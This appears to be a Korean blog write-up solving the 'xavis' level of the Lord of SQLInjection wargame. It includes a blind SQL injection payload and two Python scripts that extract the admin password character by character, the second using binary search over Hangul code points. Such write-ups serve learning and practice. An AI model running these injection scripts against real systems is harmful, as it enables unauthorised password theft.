Lord of SQLInjection (xavis)
풀이
첫 번째 단락에서 pw 파라미터에 대해서 필터링 되는 문자를 살펴보면 prob _ . () regex like
가 있고, 두 번째 단락 소스 코드를 보면 pw 파라미터에 대해서 addslashes
함수를 사용해서 쿼리를 한 번 더 실행하여 결과값의 pw와 비교하기 때문에 Blind SQLi로 pw 값을 하나씩 추출해야 한다.
이번에는 아래와 같이 pw 값이 싱글쿼터로 둘러쌓여져 있기 때문에 탈출하고 id=admin과 pw에서 ascii와 substr 함수를 사용해서 admin의 패스워드 첫 글자가 아스키코드로 65인지 확인하는 페이로드를 작성할 수 있다.
%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,1,1))=65--%20-
아래와 같이 코드를 짜봤는데 아스키 코드에 없단다.. 뭐지
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {"PHPSESSID": "l4fo5d8u56opaucpiffcbfvver"}
password = ""
for i in range(1, 100):
found = False
for j in range(32, 127):
param = {"pw": f"' or id='admin' and ascii(substr(pw,{i},1))={j}-- -"}
r = requests.get(url=url, cookies=session, params=param)
if "Hello admin" in r.text:
found = True
password += chr(j)
print(f"패스워드 {i}번째 문자는 {chr(j)}입니다.")
break
if not found:
print("end")
print(password)
break
아래와 같이 쿼리를 넣어보면 일단 패스워드 길이가 12인 것을 알 수 있다.
그럼 여기서 일단 문자가 아스키코드가 아닌 걸 알 수 있다. 한글인 것을 유추할 수 있고, ord 함수로 변환하여 한글을 유니코드 10진수로 표현하면 44032~55203 이므로 ord 함수를 이용해서 비교하면 된다. 근데 여기서 10000번이나 요청하면 시간이 엄청 오래 걸리니 이진 탐색을 하여 코드를 짜면 훨씬 빠르게 blind sqli를 수행할 수 있다. 테스트를 해봐야하니 첫 글자가 유니코드 50000보다 크냐고 비교하니 Hello admin이 출력됐다.
아래처럼 이진탐색 트리로 코드를 짜보면 우왕굳
이 나온다.. 12바이트인데 세글자가 나온 이유는 한글은 3바이트이기 때문이다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {"PHPSESSID": "l4fo5d8u56opaucpiffcbfvver"}
password = ""
for i in range(1, 100):
low = 44032
high = 55203
found = False
while low <= high:
mid = (low + high) // 2
param = {"pw": f"' or id='admin' and ord(substr(pw,{i},1))={mid}-- -"}
r = requests.get(url=url, cookies=session, params=param)
if "Hello admin" in r.text:
password += chr(mid)
print(f"[+] 패스워드 {i}번째 문자는 {chr(mid)}")
found = True
break
else:
param = {"pw": f"' or id='admin' and ord(substr(pw,{i},1))<{mid}-- -"}
r = requests.get(url=url, cookies=session, params=param)
if "Hello admin" in r.text:
high = mid - 1
else:
low = mid + 1
if not found:
print("[-] 끝났음")
print(password)
break
print("[*] 최종 패스워드:", password)
댓글남기기